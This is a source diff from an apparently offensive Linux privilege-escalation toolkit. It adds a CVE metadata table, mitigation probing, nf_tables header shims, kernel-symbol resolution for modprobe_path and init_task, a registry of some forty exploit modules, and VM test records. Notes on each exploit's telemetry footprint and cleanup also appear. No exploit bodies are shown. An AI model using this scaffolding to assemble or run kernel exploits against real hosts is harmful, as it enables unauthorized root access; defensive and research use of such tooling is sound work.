.cve = "CVE-2023-3269",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-4622",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-1086",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-05-30",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-26581",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-50264",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32462",
|
||||
.cwe = "CWE-863",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32463",
|
||||
.cwe = "CWE-829",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-09-29",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-6019",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-23111",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-31635",
|
||||
.cwe = "CWE-130",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-41651",
|
||||
.cwe = "CWE-367",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-43494",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-43499",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46242",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46243",
|
||||
.cwe = "CWE-20",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46300",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46333",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
/* NVD had published no CWE for this CVE at time of writing
|
||||
* (disclosed 2026-07-22); SKELETONKEY's own reading is CWE-362
|
||||
* (race) yielding CWE-367 (TOCTOU) — see the module MODULE.md.
|
||||
* This field mirrors NVD, so it stays NULL until NVD classifies
|
||||
* it and the refresh script fills it in. */
|
||||
.cve = "CVE-2026-64600",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t cve_metadata_table_len =
|
||||
sizeof(cve_metadata_table) / sizeof(cve_metadata_table[0]);
|
||||
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve)
|
||||
{
|
||||
if (!cve) return NULL;
|
||||
for (size_t i = 0; i < cve_metadata_table_len; i++) {
|
||||
if (strcmp(cve_metadata_table[i].cve, cve) == 0)
|
||||
return &cve_metadata_table[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata lookup
|
||||
*
|
||||
* Per-CVE annotations sourced from authoritative federal databases:
|
||||
* - CISA Known Exploited Vulnerabilities catalog (in_kev, date_added)
|
||||
* - NVD CVE API (cwe)
|
||||
* - Hand-curated MITRE ATT&CK technique mapping
|
||||
*
|
||||
* Kept separate from struct skeletonkey_module because these are
|
||||
* properties of the CVE (one CVE -> one set of values), not the
|
||||
* exploit module. Two modules covering the same CVE see the same
|
||||
* metadata. The OPSEC notes — which vary by exploit technique —
|
||||
* stay on the module struct.
|
||||
*
|
||||
* The table is auto-generated from docs/CVE_METADATA.json by
|
||||
* tools/refresh-cve-metadata.py. Do not hand-edit cve_metadata.c —
|
||||
* re-run the refresh tool.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_CVE_METADATA_H
|
||||
#define SKELETONKEY_CVE_METADATA_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct cve_metadata {
|
||||
const char *cve; /* "CVE-YYYY-NNNNN" */
|
||||
const char *cwe; /* "CWE-NNN" or NULL if NVD has no mapping */
|
||||
const char *attack_technique; /* "T1068" etc. */
|
||||
const char *attack_subtechnique; /* "T1068.001" or NULL */
|
||||
bool in_kev; /* true iff in CISA's KEV catalog */
|
||||
const char *kev_date_added; /* "YYYY-MM-DD" or "" */
|
||||
};
|
||||
|
||||
/* The full table. Length is `cve_metadata_table_len`. */
|
||||
extern const struct cve_metadata cve_metadata_table[];
|
||||
extern const size_t cve_metadata_table_len;
|
||||
|
||||
/* Lookup by CVE id (e.g. "CVE-2024-1086"). Returns NULL if the CVE
|
||||
* isn't in the table. Cheap linear scan; we have <100 entries. */
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve);
|
||||
|
||||
#endif /* SKELETONKEY_CVE_METADATA_H */
|
||||
+11
-1
@@ -190,6 +190,7 @@ static void populate_caps(struct skeletonkey_host *h)
|
||||
h->apparmor_restrict_userns = false;
|
||||
h->unprivileged_bpf_disabled = false;
|
||||
h->kpti_enabled = false;
|
||||
h->meltdown_mitigation[0] = '\0';
|
||||
h->kernel_lockdown_active = false;
|
||||
h->selinux_enforcing = false;
|
||||
h->yama_ptrace_restricted = false;
|
||||
@@ -208,8 +209,17 @@ static void populate_caps(struct skeletonkey_host *h)
|
||||
h->yama_ptrace_restricted = (v > 0);
|
||||
|
||||
char buf[256];
|
||||
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf))
|
||||
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf)) {
|
||||
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
|
||||
/* Stash the raw value so modules that need richer matching
|
||||
* (e.g. entrybleed distinguishing "Not affected" CPUs from
|
||||
* "Vulnerable" / "Mitigation: PTI") don't re-read sysfs. */
|
||||
size_t L = strlen(buf);
|
||||
if (L >= sizeof h->meltdown_mitigation)
|
||||
L = sizeof h->meltdown_mitigation - 1;
|
||||
memcpy(h->meltdown_mitigation, buf, L);
|
||||
h->meltdown_mitigation[L] = '\0';
|
||||
}
|
||||
|
||||
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
|
||||
* — whichever level is bracketed is the active one. */
|
||||
|
||||
@@ -61,6 +61,11 @@ struct skeletonkey_host {
|
||||
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
|
||||
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
|
||||
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
|
||||
char meltdown_mitigation[64]; /* raw first line of
|
||||
* /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* — empty string if unreadable. Modules that need
|
||||
* to distinguish "Not affected" (CPU immune) from
|
||||
* "Mitigation: PTI" / "Vulnerable" can read this. */
|
||||
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
|
||||
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
|
||||
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
|
||||
|
||||
@@ -104,6 +104,46 @@ struct skeletonkey_module {
|
||||
const char *detect_sigma; /* sigma YAML content */
|
||||
const char *detect_yara; /* yara rules content */
|
||||
const char *detect_falco; /* falco rules content */
|
||||
|
||||
/* Operational-security notes — telemetry footprint THIS specific
|
||||
* exploit leaves behind. The inverse of detect_auditd/yara/falco
|
||||
* above (the rules catch what these notes describe). Free-form
|
||||
* prose, conventionally listing: dmesg lines triggered, auditd
|
||||
* events, file artifacts created/modified, persistence side-
|
||||
* effects, recommended cleanup. Per-module (not per-CVE) because
|
||||
* different exploits for the same bug can leave different
|
||||
* footprints. NULL if no analysis written yet.
|
||||
*
|
||||
* NB: ATT&CK / CWE / KEV metadata is properties of the CVE itself
|
||||
* (independent of exploit technique) and lives in
|
||||
* core/cve_metadata.{h,c} — looked up by CVE id, refreshed via
|
||||
* tools/refresh-cve-metadata.py. */
|
||||
const char *opsec_notes;
|
||||
|
||||
/* Architecture support for the exploit() body. detect() works on
|
||||
* any Linux arch (it just consults ctx->host); the question this
|
||||
* field answers is: if this module says VULNERABLE, will the
|
||||
* --exploit path actually fire on aarch64 / arm64? Values:
|
||||
*
|
||||
* "any" — userspace bug or arch-agnostic kernel
|
||||
* primitive (pwnkit, sudo*, pack2theroot,
|
||||
* dirty_pipe, dirty_cow, most netfilter/fs
|
||||
* bugs that use msg_msg sprays + structural
|
||||
* escapes).
|
||||
* "x86_64" — strictly x86-only (entrybleed needs
|
||||
* prefetchnta + KPTI, which doesn't apply
|
||||
* to ARM's TTBR_EL0/EL1 model).
|
||||
* "x86_64+unverified-arm64" — exploit body likely works on
|
||||
* arm64 but hasn't been verified on a real
|
||||
* arm64 host yet (e.g. copy_fail_family
|
||||
* assumes some x86_64 struct offsets;
|
||||
* --full-chain finisher uses x86_64-style
|
||||
* kernel ROP gadgets).
|
||||
*
|
||||
* NULL = unmapped (treat as "x86_64+unverified-arm64" by default;
|
||||
* a future arm64-on-Vagrant sweep will fill these in). Surfaced
|
||||
* in --list (ARCH column) and --module-info. */
|
||||
const char *arch_support;
|
||||
};
|
||||
|
||||
#endif /* SKELETONKEY_MODULE_H */
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
/*
|
||||
* SKELETONKEY — nf_tables uapi compat shims.
|
||||
*
|
||||
* Older distro kernel headers (e.g. Ubuntu 20.04's linux-libc-dev ships
|
||||
* the 5.4 uapi; Debian 11 ships 5.10) don't define every nft attribute
|
||||
* or chain flag the exploits use. The numeric values are stable kernel
|
||||
* ABI — the target kernel understands them at runtime regardless of
|
||||
* what was present in the build host's uapi headers. Conditionally
|
||||
* define them here so modules compile against any reasonable header set.
|
||||
*
|
||||
* Sources for the numeric values:
|
||||
* include/uapi/linux/netfilter/nf_tables.h in mainline at the kernel
|
||||
* version that introduced each enum.
|
||||
*
|
||||
* Include AFTER <linux/netfilter/nf_tables.h>.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_NFT_COMPAT_H
|
||||
#define SKELETONKEY_NFT_COMPAT_H
|
||||
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
|
||||
/* ── chain flags ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFT_CHAIN_HW_OFFLOAD: kernel 5.5 (commit be0b86e0594d). Needed by
|
||||
* nft_fwd_dup_cve_2022_25636. */
|
||||
#ifndef NFT_CHAIN_HW_OFFLOAD
|
||||
#define NFT_CHAIN_HW_OFFLOAD 0x2
|
||||
#endif
|
||||
|
||||
/* NFT_CHAIN_BINDING: kernel 5.9 (commit d164385ec572). */
|
||||
#ifndef NFT_CHAIN_BINDING
|
||||
#define NFT_CHAIN_BINDING 0x4
|
||||
#endif
|
||||
|
||||
/* ── chain attrs ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_CHAIN_FLAGS: kernel 5.7 (commit 65038428b2c6). Ubuntu 18.04's
|
||||
* 4.15-era uapi lacks it. Position 10 in the enum
|
||||
* (NFTA_CHAIN_TABLE=1..NFTA_CHAIN_USERDATA=9, NFTA_CHAIN_FLAGS=10). */
|
||||
#ifndef NFTA_CHAIN_FLAGS
|
||||
#define NFTA_CHAIN_FLAGS 10
|
||||
#endif
|
||||
|
||||
/* NFTA_CHAIN_ID: kernel 5.13 (commit 837830a4b439). */
|
||||
#ifndef NFTA_CHAIN_ID
|
||||
#define NFTA_CHAIN_ID 11
|
||||
#endif
|
||||
|
||||
/* ── verdict attrs ──────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_VERDICT_CHAIN_ID: kernel 5.14 (commit 4ed8eb6570a4). Needed by
|
||||
* nf_tables_cve_2024_1086. */
|
||||
#ifndef NFTA_VERDICT_CHAIN_ID
|
||||
#define NFTA_VERDICT_CHAIN_ID 3 /* CODE=1, CHAIN=2, CHAIN_ID=3 */
|
||||
#endif
|
||||
|
||||
/* ── set attrs ──────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_DESC_CONCAT: kernel 5.6 (commit 8aeff38e08d2 — concat sets). */
|
||||
#ifndef NFTA_SET_DESC_CONCAT
|
||||
#define NFTA_SET_DESC_CONCAT 2 /* DESC_SIZE=1, DESC_CONCAT=2 */
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPR: kernel 5.12 (commit 65038428b2c6 — anon expr on sets). */
|
||||
#ifndef NFTA_SET_EXPR
|
||||
#define NFTA_SET_EXPR 13
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_EXPRESSIONS
|
||||
#define NFTA_SET_EXPRESSIONS 14
|
||||
#endif
|
||||
|
||||
/* ── set-element attrs ──────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_ELEM_KEY_END: kernel 5.6 (commit 7b225d0b5c5b). */
|
||||
#ifndef NFTA_SET_ELEM_KEY_END
|
||||
#define NFTA_SET_ELEM_KEY_END 7
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_ELEM_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_ELEM_EXPRESSIONS
|
||||
#define NFTA_SET_ELEM_EXPRESSIONS 11
|
||||
#endif
|
||||
|
||||
/* ── data attrs (newer additions tend to be backported uneven) ──── */
|
||||
|
||||
/* Make sure NFTA_DATA_VERDICT and friends exist — present since 3.13;
|
||||
* here only as a tripwire if a very old header somehow lacks them. */
|
||||
#ifndef NFTA_DATA_VERDICT
|
||||
#define NFTA_DATA_VERDICT 2
|
||||
#endif
|
||||
#ifndef NFTA_DATA_VALUE
|
||||
#define NFTA_DATA_VALUE 1
|
||||
#endif
|
||||
|
||||
#endif /* SKELETONKEY_NFT_COMPAT_H */
|
||||
+13
-3
@@ -212,10 +212,20 @@ static int parse_symfile(const char *path,
|
||||
fclose(f);
|
||||
|
||||
/* /proc/kallsyms returns all-zero addrs under kptr_restrict — treat
|
||||
* that as "couldn't read", not "actually zero". */
|
||||
* that as "couldn't read", not "actually zero". Undo ONLY the bogus
|
||||
* KALLSYMS source tags this pass may have set on still-zero fields —
|
||||
* do NOT clobber values a higher-priority source (env vars) already
|
||||
* provided, or the env override is silently wiped on any kptr_restrict
|
||||
* host (which is every default host). */
|
||||
if (!saw_nonzero) {
|
||||
o->modprobe_path = o->poweroff_cmd = o->init_task = o->init_cred = 0;
|
||||
o->source_modprobe = o->source_init_task = OFFSETS_NONE;
|
||||
if (o->source_modprobe == OFFSETS_FROM_KALLSYMS) {
|
||||
o->modprobe_path = 0;
|
||||
o->source_modprobe = OFFSETS_NONE;
|
||||
}
|
||||
if (o->source_init_task == OFFSETS_FROM_KALLSYMS) {
|
||||
o->init_task = 0;
|
||||
o->source_init_task = OFFSETS_NONE;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
return filled;
|
||||
|
||||
@@ -3,6 +3,11 @@
|
||||
*
|
||||
* Simple flat array. Resized in chunks of 16. We never expect more
|
||||
* than a few dozen modules, so this is fine.
|
||||
*
|
||||
* The canonical "register every family" enumeration lives in
|
||||
* registry_all.c — kept separate so this file links into the
|
||||
* standalone kernel_range unit-test binary without pulling in every
|
||||
* module's symbol.
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
|
||||
@@ -47,5 +47,27 @@ void skeletonkey_register_vmwgfx(void);
|
||||
void skeletonkey_register_dirtydecrypt(void);
|
||||
void skeletonkey_register_fragnesia(void);
|
||||
void skeletonkey_register_pack2theroot(void);
|
||||
void skeletonkey_register_sudo_chwoot(void);
|
||||
void skeletonkey_register_udisks_libblockdev(void);
|
||||
void skeletonkey_register_pintheft(void);
|
||||
void skeletonkey_register_mutagen_astronomy(void);
|
||||
void skeletonkey_register_sudo_runas_neg1(void);
|
||||
void skeletonkey_register_tioscpgrp(void);
|
||||
void skeletonkey_register_vsock_uaf(void);
|
||||
void skeletonkey_register_nft_pipapo(void);
|
||||
void skeletonkey_register_ptrace_pidfd(void);
|
||||
void skeletonkey_register_sudo_host(void);
|
||||
void skeletonkey_register_cifswitch(void);
|
||||
void skeletonkey_register_nft_catchall(void);
|
||||
void skeletonkey_register_bad_epoll(void);
|
||||
void skeletonkey_register_ghostlock(void);
|
||||
void skeletonkey_register_refluxfs(void);
|
||||
|
||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||
* Single source of truth so the main binary and the test binary stay
|
||||
* in sync — adding a new module is one register_* declaration here
|
||||
* and one call inside skeletonkey_register_all_modules() in
|
||||
* core/registry.c (the test harness picks it up automatically). */
|
||||
void skeletonkey_register_all_modules(void);
|
||||
|
||||
#endif /* SKELETONKEY_REGISTRY_H */
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
/*
|
||||
* SKELETONKEY — canonical "register every module family" enumeration.
|
||||
*
|
||||
* Kept in its own translation unit so registry.c stays standalone:
|
||||
* the kernel_range unit-test binary links registry.c (for the basic
|
||||
* register / count / find API) without pulling in every module's
|
||||
* symbol. The main binary and detect-integration test link this
|
||||
* file too and get the full lineup.
|
||||
*
|
||||
* Adding a new module is one new register_<family>() declaration in
|
||||
* registry.h plus one call below — the integration test picks it up
|
||||
* via skeletonkey_register_all_modules() in its main().
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
|
||||
void skeletonkey_register_all_modules(void)
|
||||
{
|
||||
skeletonkey_register_copy_fail_family();
|
||||
skeletonkey_register_dirty_pipe();
|
||||
skeletonkey_register_entrybleed();
|
||||
skeletonkey_register_pwnkit();
|
||||
skeletonkey_register_nf_tables();
|
||||
skeletonkey_register_overlayfs();
|
||||
skeletonkey_register_cls_route4();
|
||||
skeletonkey_register_dirty_cow();
|
||||
skeletonkey_register_ptrace_traceme();
|
||||
skeletonkey_register_netfilter_xtcompat();
|
||||
skeletonkey_register_af_packet();
|
||||
skeletonkey_register_fuse_legacy();
|
||||
skeletonkey_register_stackrot();
|
||||
skeletonkey_register_af_packet2();
|
||||
skeletonkey_register_cgroup_release_agent();
|
||||
skeletonkey_register_overlayfs_setuid();
|
||||
skeletonkey_register_nft_set_uaf();
|
||||
skeletonkey_register_af_unix_gc();
|
||||
skeletonkey_register_nft_fwd_dup();
|
||||
skeletonkey_register_nft_payload();
|
||||
skeletonkey_register_sudo_samedit();
|
||||
skeletonkey_register_sequoia();
|
||||
skeletonkey_register_sudoedit_editor();
|
||||
skeletonkey_register_vmwgfx();
|
||||
skeletonkey_register_dirtydecrypt();
|
||||
skeletonkey_register_fragnesia();
|
||||
skeletonkey_register_pack2theroot();
|
||||
skeletonkey_register_sudo_chwoot();
|
||||
skeletonkey_register_udisks_libblockdev();
|
||||
skeletonkey_register_pintheft();
|
||||
skeletonkey_register_mutagen_astronomy();
|
||||
skeletonkey_register_sudo_runas_neg1();
|
||||
skeletonkey_register_tioscpgrp();
|
||||
skeletonkey_register_vsock_uaf();
|
||||
skeletonkey_register_nft_pipapo();
|
||||
skeletonkey_register_ptrace_pidfd();
|
||||
skeletonkey_register_sudo_host();
|
||||
skeletonkey_register_cifswitch();
|
||||
skeletonkey_register_nft_catchall();
|
||||
skeletonkey_register_bad_epoll();
|
||||
skeletonkey_register_ghostlock();
|
||||
skeletonkey_register_refluxfs();
|
||||
}
|
||||
@@ -0,0 +1,359 @@
|
||||
/*
|
||||
* SKELETONKEY — verification records table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-verifications.py from
|
||||
* docs/VERIFICATIONS.jsonl. Do not hand-edit; rerun the script.
|
||||
*
|
||||
* Source: tools/verify-vm/verify.sh appends one JSON record per
|
||||
* run; this generator dedupes to (module, vm_box, kernel, expect)
|
||||
* and keeps the latest by verified_at.
|
||||
*/
|
||||
|
||||
#include "verifications.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
const struct verification_record verifications[] = {
|
||||
{
|
||||
.module = "af_packet",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_packet2",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_unix_gc",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cgroup_release_agent",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cls_route4",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirty_pipe",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirtydecrypt",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.19.7-061907-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "entrybleed",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "fuse_legacy",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "netfilter_xtcompat",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nf_tables",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_fwd_dup",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_payload",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_pipapo",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_set_uaf",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs_setuid",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pack2theroot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "ptrace_traceme",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pwnkit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sequoia",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
